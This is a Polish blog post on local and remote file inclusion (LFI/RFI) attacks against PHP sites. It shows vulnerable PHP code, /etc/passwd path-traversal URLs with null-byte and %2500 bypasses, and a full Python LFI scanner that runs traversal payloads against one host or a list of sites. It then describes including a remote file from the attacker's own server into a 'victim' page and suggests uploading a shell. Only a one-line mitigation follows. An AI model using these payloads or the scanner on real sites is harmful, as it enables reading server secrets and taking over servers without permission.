Eurax

Chciałbym Zaznaczyć
Na swoim Blogu umieszczam nie tylko swoje artykuły.Przy innych publikacjach umieszczę źródło.

Testy Odporności WWW Na Ataki LFI,RFI.

Atak LFI lub RFI są niebezpieczne nie tylko dla stron ale całych serwerów. Skutecznie przeprowadzony atak typu LFI lub RFI powoduje wyświetlenie na stronie pliku, do którego zwykły użytkownik nie powinien mieć dostępu – na przykład plik z hasłami. Błędu tego nie widać w źródle ( strony ), gdyż jest on błędem w kodzie php.

Są to błędy wynikający z nieprzemyślanego zastosowania funkcji fread(), file(), get_content(), lub include().

Przykład:


$file = $_GET[‘website’];

if(file_exist($file))

{
$pokaz = fread(fopen($file, “r”), filesize($file));

echo $pokaz;

}
else echo “Błąd 404″;

?>

Czym się różnią oba te ataki? Chodź brzmią podobnie poprzez błąd LFI możemy „inkludować” dowolny plik na lokalnym serwerze, a przy błędzie RFI z innego serwera. Poniżej opisałem oba te ataki najprościej i najjaśniej jak to tylko było możliwe.
Local File Include - czyli „inkludowanie” (włączanie) dowolnego pliku na lokalnym serwerze. Pozwala przypisać zmienne w funkcjach:

  • include()
  • require()
  • require_ once()
  • include_ once()


Testy podatności strony ( serwisu ) na ataki LFI , RFI

Klikamy na jedną ze stron ( TESTOWYCH – testowanych ) i sprawdzamy czy jest ona podatna na błąd LFI wpisując w zmienną na przykład:

/etc/passwd

Będzie to wyglądać tak:

http://www.strona.com/id=/etc/passwd

W kodzie php będzie to wyglądać tak:

Widzimy tutaj znaczący błąd, ponieważ nie istnieje taki plik passwd.php więc trzeba się pozbyć tego rozszerzenia jakim jest php. Oczywiście jest na to sposób. Nazywamy to atakiem Poison Null Byte, czyli atak z użyciem bajtu zerowego. W php bajt zerowy wygląda tak: . Jest to bajt oznaczający koniec stringu, czyli ciągu znakowego. Wszystko co występuje po nim jest ignorowane przez php. Więc jeśli chcemy uciąć rozszerzenie php wystarczy po passwd dodać bajt zerowy:

http://www.strona.com/id=/etc/passwd

Jednak niektóre strony są przed tym zabezpieczone - %0 zamienia nam na / w wyniku czego powstaje coś takiego ( w kodzie php):

Dzieje się to dlatego, że %0 w tablicy . Jednak i na to jest sposób. Bądźmy sprytniejsi. Znając znaki tej tablicy zamiast napiszemy %2500, ponieważ %25 oznacza po prostu %.

Czyli:

http://www.strona.com/id=/etc/passwd%2500

Jeśli porządany plik nie wyświetlił się nam to poruszamy się w głąb serwera dodając: /..Jest to znak cofnięcia do poprzedniego katalogu. Będzie to wyglądać tak:

http://www.strona.com/id=/../etc/passwd

Natomiast w kodzie php będzie to wyglądać tak:

Jeśli nic nam się nie wyświetliło to próbujemy dalej dodając wyżej podany znak i tak aż do skutku – lub stwierdzimy ,że testowany serwis jest odporny na ataki LFI , RFI.
"Ręczne szukanie” błędu LFI jest bardzo uciążliwe ale można je zautomatyzować pisząc w Pytonie ( w moim przypadku ) program , który sprawdzi czy podana strona ( serwis ) jest podatny na taki atak.

Przykład programu testującego podatność serwisu na ataki LFI , RFI.


#!/usr/bin/python

import sys, httplib, time, socket, sets, urllib2, re

def main(host):

print "\n","-"*55
print "\n[+] Target host:",host

okresp = tester("/")[:1]
badresp,reason,server = tester("/hera9.html")

host = getindex(okresp[0])

if okresp[0] == badresp:
print "\n[-] Responses matched, try another host.\n"
else:
print "[+] Target server:",server
print "[+] Target OK response:",okresp[0]
print "[+] Target BAD response:",badresp, reason
print "[+] Scan Started at",timer()
time.sleep(2)

print "[+] Gathering Fields:",host

try:
names, actions, var = getvar()
print "[+] Variables:",len(var),"| Actions:",len(actions),"| Fields:",len(names)
print "[+] Avg Requests:",(len(var)+len(names)+(len(actions)*len(names))+(len(actions)*len(names)))
paths = getpaths(var, names, actions)
print "[+] Paths Found:",len(paths),"\n"
for path in paths:
for x in xrange(path.count("../")-2):
code, reason = tester(path.replace('../',"",x+1))[:2]
if code == okresp[0]:
print "\n\t[+]",code,reason,":",path.split("/",1)[1].replace('../',"",x+1),"\n"
except(TypeError):
print "[-] Couldn't find enough fields.\n"
pass

def tester(path):

try:# make a http HEAD request
h = httplib.HTTP(host.split("/",1)[0], int(port))
h.putrequest("GET", "/"+path.split("/",1)[1])
h.putheader("Host", host.split("/",1)[0])
h.endheaders()
status, reason, headers = h.getreply()
if verbose == 1:
print "[+]",status,reason,":","/"+path.split("/",1)[1]
return status, reason, headers.get("Server")
except(), msg:
print "[-] Error Occurred\n",msg
sys.exit(1)

def timer():
now = time.localtime(time.time())
return time.asctime(now)

def getindex(okresp):
#Try and get index page if not posted.
if re.search("index", host) == None:
code = tester("/index.php")[:1]
if code[0] == okresp:
return host+"/index.php"
else:
code = tester("/index.html")[:1]
if code[0] == okresp:
return host+"/index.html"

def getpaths(var, names, actions):
print "[+] Creating Paths...\n"

if len(var) >= 1:
for v in var:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+"/"+v+lfi+null)
paths.append(host+"/"+v+lfi+null)

if len(names) >= 1:
for n in names:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+"/"+"?"+n+"="+lfi+null)
paths.append(host+"/"+"?"+n+"="+lfi+null)

if len(actions) != 0 and len(names) >= 1:
for a in actions:
for n in names:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+a+"?"+n+"="+lfi+null)
#paths.append(host.split("/")[0]+a+"?"+n+"="+lfi+null)

if len(actions) != 0 and len(var) >= 1:
for a in actions:
for v in var:
if host.count("/") >= 2:
for x in xrange(host.count("/")):
paths.append(host.rsplit('/',x+1)[0]+a+v+lfi+null)
else:
paths.append(host.split("/")[0]+a+v+lfi+null)
return paths

def getvar():

names = []
actions = []

try:
webpage = urllib2.urlopen("http://"+host, port).read()
var = re.findall("\?[\w\.\-/]*\=",webpage)
if len(var) >=1:
var = list(sets.Set(var))
found_action = re.findall("action=\"[\w\.\-/]*\"", webpage.lower())
found_action = list(sets.Set(found_action))
if len(found_action) >= 1:
for a in found_action:
a = a.split('"',2)[1]
try:
if a[0] != "/":
a = "/"+a
except(IndexError):
pass
actions.append(a)
found_names = re.findall("name=\"[\w\.\-/]*\"", webpage.lower())
found_names = list(sets.Set(found_names))
for n in found_names:
names.append(n.split('"',2)[1])
return names, actions, var
except(socket.timeout, IOError, ValueError, socket.error, socket.gaierror, httplib.BadStatusLine):
pass
except(KeyboardInterrupt):
print "\n[-] Cancelled -",timer(),"\n"
sys.exit(1)

print "\n\t LFI Tester "
print "\t----------------------------------------------"

if len(sys.argv) <> 7:
print "\nUsage: ./lfitest.py \n"
print "Ex. ./lfitest.py -h www.mysite.com -p 80 -null -v"
print "Ex. ./lfitest.py -list sites.txt -p 80 -v\n"
print "\t[options]"
print "\t -h/-host : Host to scan"
print "\t -p/-port : Port to use (defaults: 80)"
print "\t -l/-list : List of sites to scan through"
print "\t -n/-null : Adds a null byte onto the end of the inclusion"
print "\t -v/-verbose : Shows every lfi attempt\n"
sys.exit(1)

paths = []
lfi = "../../../../../../../etc/passwd"
socket.setdefaulttimeout(25)

for arg in sys.argv[1:]:
if arg.lower() == "-h" or arg.lower() == "-host":
host = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-p" or arg.lower() == "-port":
port = sys.argv[int(sys.argv[1:].index(arg))+2]
if arg.lower() == "-l" or arg.lower() == "-list":
sites = open(sys.argv[int(sys.argv[1:].index(arg))+2], "r").readlines()
if arg.lower() == "-v" or arg.lower() == "-verbose":
verbose = 1
if arg.lower() == "-n" or arg.lower() == "-null":
null = ""
try:
if verbose ==1:
print "\n[+] Verbose Mode On"
except(NameError):
print "\n[-] Verbose Mode Off"
verbose = 0
try:
if null:
print "[+] Null Byte On"
except(NameError):
print "[-] Null Byte Off"
null = ""
try:
if port:
print "[+] Target port:",port
except(NameError):
port = "80"
print "[+] Target port:",port
try:
if sites:
print "\n[+] Loaded:",len(sites),"sites"
for host in sites:
host = host[:-1]
if host[:7] == "http://":
host = host.replace("http://","")
if host[-1] == "/":
host = host[:-1]
main(host)
except(NameError):
if host[:7] == "http://":
host = host.replace("http://","")
if host[-1] == "/":
host = host[:-1]
main(host)
print "\n[-] Scan completed at",timer(),"\n"


Remote File Include – czyli „inkludowanie” (włączanie) pliku z innego serwera. To jest ta różnica, która odróżnia błąd LFI od RFI. W LFI szukaliśmy pliku, który istniał na serwerze ofiary, a w RFI będziemy podawać ścieżkę do pliku (na przykład na naszym serwerze), który może nieźle namieszać u naszej ofiary. RFI również pozwala przypisać zmienne w funkcjach takich jak w LFI.

Postępujemy podobnie, jednak zamiast /etc/passwd wpisujemy pełną ścieżkę dostępu do naszego pliku (w tym przypadku będzie to kod php, który umożliwia listowanie zawartości katalogów), który mieści się na naszym serwerze. link to tego pliku to w moim przypadku:

http://www.moj_serwer.pl/katalogi.txt

Więc do naszej zmiennej (np: id) wpisujemy adres naszego kodu:

http://www.strona.com/id=http://www.moj_serwer.pl/katalogi.txt?

Naszym oczom okazuje się lista katalogów. Oczywiście jest masa możliwości nie musi to być listowanie katalogów. Również dobrym sposobem jest wgranie shella, albo innej niespodzianki.

Jak się przed tym zabezpieczyć? W dość łatwy sposób. Wystarczy wyłączyć możliwość otwierania zdalnych plików przez funkcje:

  • fopen()
  • readfile()
  • include()

0 komentarze: